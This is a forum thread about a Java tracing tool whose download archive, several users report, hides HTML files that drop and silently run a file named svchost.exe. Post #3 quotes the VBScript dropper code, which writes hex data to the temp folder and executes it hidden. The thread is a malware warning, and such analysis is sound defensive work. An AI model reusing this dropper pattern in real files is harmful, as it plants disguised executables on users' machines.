EXETOOLS FORUM  

Go Back   EXETOOLS FORUM > General > Community Tools

Notices

Reply
 
Thread Tools Display Modes
  #1  
Old 01-09-2018, 23:19
CodeCracker CodeCracker is offline
Family
 
Join Date: Jun 2011
Posts: 179
Rept. Given: 14
Rept. Rcvd 191 Times in 45 Posts
Thanks Given: 8
Thanks Rcvd at 508 Times in 117 Posts
CodeCracker Reputation: 100-199 CodeCracker Reputation: 100-199
Tracer v2

Tracer v2
Java tracer, this time as a standalone jar,
Just select a Jar and an output text file,
click Trace, and wheel that's it!
classes which start with "java." can't be logged!

Download link:
http://www18.zippyshare.com/v/qhcVnrK0/file.html

Last edited by CodeCracker; 01-17-2018 at 05:03.
Reply With Quote
The Following 2 Users Say Thank You to CodeCracker For This Useful Post:
niculaita (01-09-2018), wilson bibe (01-10-2018)
  #2  
Old 01-11-2018, 01:33
Kerlingen Kerlingen is offline
VIP
 
Join Date: Feb 2011
Posts: 293
Rept. Given: 0
Rept. Rcvd 271 Times in 96 Posts
Thanks Given: 0
Thanks Rcvd at 197 Times in 54 Posts
Kerlingen Reputation: 200-299 Kerlingen Reputation: 200-299 Kerlingen Reputation: 200-299
This file contains a VIRUS !!!

No, it's no false positive. There are at least seven HTML files "package.html" inside which contain JavaScript to drop a file called "svchost.exe"
Reply With Quote
The Following 6 Users Say Thank You to Kerlingen For This Useful Post:
dila (01-12-2018), niculaita (01-11-2018), QuakeGamer (01-15-2018), tonyweb (01-15-2018), Zeokat (01-12-2018), zeuscane (01-12-2018)
  #3  
Old 01-11-2018, 20:33
cybercoder cybercoder is offline
Friend
 
Join Date: Aug 2005
Posts: 98
Rept. Given: 2
Rept. Rcvd 11 Times in 8 Posts
Thanks Given: 19
Thanks Rcvd at 26 Times in 14 Posts
cybercoder Reputation: 11
Yep actually looks pretty dodgy, seems to try and use vbscript to drop svchost.exe

--<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = ......

Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
</SCRIPT>

Haven't actually checked out the file that is to be dropped yet.
Reply With Quote
  #4  
Old 01-15-2018, 23:28
Zeokat Zeokat is offline
Friend
 
Join Date: Dec 2017
Posts: 8
Rept. Given: 0
Rept. Rcvd 0 Times in 0 Posts
Thanks Given: 55
Thanks Rcvd at 3 Times in 3 Posts
Zeokat Reputation: 0
I could read same report at another forum and CodeCracker replied saying that is a false positive. But... i still have my doubts
Reply With Quote
  #5  
Old 01-17-2018, 04:58
CodeCracker CodeCracker is offline
Family
 
Join Date: Jun 2011
Posts: 179
Rept. Given: 14
Rept. Rcvd 191 Times in 45 Posts
Thanks Given: 8
Thanks Rcvd at 508 Times in 117 Posts
CodeCracker Reputation: 100-199 CodeCracker Reputation: 100-199
False positive due to some htmls present under jar archive.
If you already runed the jar file don't be alarmed since the html
are not executed, and not even used.
Htmls removed, check:
http://www18.zippyshare.com/v/qhcVnrK0/file.html
Reply With Quote
The Following 2 Users Say Thank You to CodeCracker For This Useful Post:
niculaita (01-17-2018), yoza (01-24-2018)
  #6  
Old 01-17-2018, 20:56
sendersu sendersu is offline
VIP
 
Join Date: Oct 2010
Posts: 805
Rept. Given: 324
Rept. Rcvd 216 Times in 110 Posts
Thanks Given: 148
Thanks Rcvd at 215 Times in 109 Posts
sendersu Reputation: 200-299 sendersu Reputation: 200-299 sendersu Reputation: 200-299
so who and why the hell added malware html into your archives?
Reply With Quote
  #7  
Old 01-18-2018, 01:26
Kerlingen Kerlingen is offline
VIP
 
Join Date: Feb 2011
Posts: 293
Rept. Given: 0
Rept. Rcvd 271 Times in 96 Posts
Thanks Given: 0
Thanks Rcvd at 197 Times in 54 Posts
Kerlingen Reputation: 200-299 Kerlingen Reputation: 200-299 Kerlingen Reputation: 200-299
Quote:
Originally Posted by CodeCracker View Post
False positive
Please, read the definition before stating something obviously wrong:
Quote:
A false positive error, or in short a false positive, commonly called a "false alarm", is a result that indicates a given condition exists, when it does not.
The fact that the malware doesn't execute just by downloading doesn't make it a false positive.

Or would you call the ebolavirus "false positive" just because it's contained inside a glass phial?
Reply With Quote
The Following 2 Users Gave Reputation+1 to Kerlingen For This Useful Post:
evlncrn8 (01-18-2018), yoza (01-24-2018)
The Following User Says Thank You to Kerlingen For This Useful Post:
Mkz (08-03-2018)
  #8  
Old 07-17-2018, 01:24
rooster1 rooster1 is offline
Friend
 
Join Date: Jan 2014
Posts: 9
Rept. Given: 6
Rept. Rcvd 4 Times in 3 Posts
Thanks Given: 6
Thanks Rcvd at 0 Times in 0 Posts
rooster1 Reputation: 4
@CodeCracker can this be used for a jar file that is launched with an EXE file?
Reply With Quote
  #9  
Old 07-17-2018, 02:20
CodeCracker CodeCracker is offline
Family
 
Join Date: Jun 2011
Posts: 179
Rept. Given: 14
Rept. Rcvd 191 Times in 45 Posts
Thanks Given: 8
Thanks Rcvd at 508 Times in 117 Posts
CodeCracker Reputation: 100-199 CodeCracker Reputation: 100-199
It can trace only jars

Quote:
Originally Posted by rooster1 View Post
@CodeCracker can this be used for a jar file that is launched with an EXE file?
No, it can trace only jars currently, the main reason is that it uses asm objectweb to inject trace commands on classes,
You could try JavaClassManager
https://forum.exetools.com/showthread.php?t=18592
to try to save loaded classes.
JavaClassManager can launch both jar and exe extensions,
it is just a matter of intercepting class loading and editing classes to do what you want.
Reply With Quote
The Following User Says Thank You to CodeCracker For This Useful Post:
niculaita (07-17-2018)
  #10  
Old 07-17-2018, 03:53
rooster1 rooster1 is offline
Friend
 
Join Date: Jan 2014
Posts: 9
Rept. Given: 6
Rept. Rcvd 4 Times in 3 Posts
Thanks Given: 6
Thanks Rcvd at 0 Times in 0 Posts
rooster1 Reputation: 4
Thanks for the guidance bro. i will try your recommendation
peace
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



All times are GMT +8. The time now is 17:40.


ICP05004977
Always Your Best Friend: Aaron, JMI, ahmadmansoor, ZeNiX